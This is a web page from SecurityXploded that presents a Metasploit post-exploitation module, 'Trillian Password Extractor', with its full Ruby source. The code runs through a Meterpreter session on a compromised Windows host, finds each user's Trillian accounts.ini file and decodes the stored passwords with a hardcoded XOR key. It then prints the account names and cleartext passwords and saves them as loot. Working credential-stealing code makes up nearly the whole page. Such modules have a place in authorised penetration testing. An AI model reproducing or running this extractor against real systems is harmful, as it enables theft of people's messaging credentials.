SecurityXploded.com
Metasploit - Trillian Password Extractor
 
 
Metasploit - Trillian Password Extractor
Author: Silent Dream 
 
 
 
See Also
 
 
Module Description
This module extracts account password from Trillian & Trillian Astra v4.x-5.x instant messenger. It automatically enumerates through the account files used by Trillian on the system and then dumps the username & decoded password in clear text.
 
 
 
Module Code
Here is the complete Metasploit code for this module.
 
##
#$Id: enum_trillian_pwds.rb 13400 2011-07-29 02:14:59Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'
require 'rex/parser/ini'
require 'base64'
require 'msf/core/post/windows/user_profiles'

class Metasploit3 < Msf::Post

include Msf::Post::Windows::Registry
include Msf::Auxiliary::Report
include Msf::Post::Windows::UserProfiles

def initialize(info={})
super(update_info(info,
'Name' => 'Trillian Password Extractor',
'Description' => %q{
This module extracts account password from Trillian & Trillian Astra
v4.x-5.x instant messenger.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Sil3ntDre4m <sil3ntdre4m[at]gmail.com>',
'SecurityXploded Team', #www.SecurityXploded.com
],
'Version' => '$Revision: 13400 $',
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ]
))
end

def run
grab_user_profiles().each do |user|
accounts = user['AppData'] + "\\Trillian\\users\\global\\accounts.ini"
next if user['AppData'] == nil
next if accounts.empty?
stat = session.fs.file.stat(accounts) rescue nil
next if stat.nil?
get_ini(accounts)
end
end

def get_ini(file)
begin
config = client.fs.file.new(file,'r')
parse = config.read
ini = Rex::Parser::Ini.from_s(parse)

if ini == {}
print_error("Unable to parse file")
return
end

creds = Rex::Ui::Text::Table.new(
'Header' => 'Trillian versions 4-5 Instant Messenger Credentials',
'Ident' => 1,
'Columns' =>
[
'User',
'Password'
]
)

ini.each_key do |group|
username = ini[group]['Account']
epass = ini[group]['Password']
next if epass == nil or epass == ""
passwd = decrypt(epass).chop
print_good("User: #{username} Password: #{passwd}")
creds << [username, passwd]
end

print_status("Storing data...")
path = store_loot(
'trillian.user.creds',
'text/plain',
session,
creds,
'trillian_user_creds.txt',
'Trillian Instant Messenger User Credentials'
)

print_status("Trillian Instant Messenger user credentials saved in: #{path}")

rescue ::Exception => e
print_error("An error has occured: #{e.to_s}")
end
end

def decrypt (epass)
magicarr = [243, 38, 129, 196, 57, 134, 219, 146, 113, 163, 185, 230, 83,
122, 149, 124, 0, 0, 0, 0, 0, 0, 255, 0, 0, 128, 0, 0, 0, 128, 128, 0,
255, 0, 0, 0, 128, 0, 128, 0, 128, 128, 0, 0, 0, 128, 255, 0, 128, 0,
255, 0, 128, 128, 128, 0, 85, 110, 97, 98, 108, 101, 32, 116, 111, 32,
114, 101, 115, 111, 108, 118, 101, 32, 72, 84, 84, 80, 32, 112, 114, 111,
120, 0]

decpass = Base64.decode64(epass)
plaintext = [decpass].pack("H*").unpack("C*")

for i in 0 .. plaintext.length-2 do
plaintext[i] ^= magicarr[i]
end

return plaintext.pack("C*")
end
end

 
 
Download
Here is the Metasploit download link to this module.
 
 
 
References
  1. Source : Metasploit modules / post / windows / gather / enum_trillian_pwds.rb
 
See Also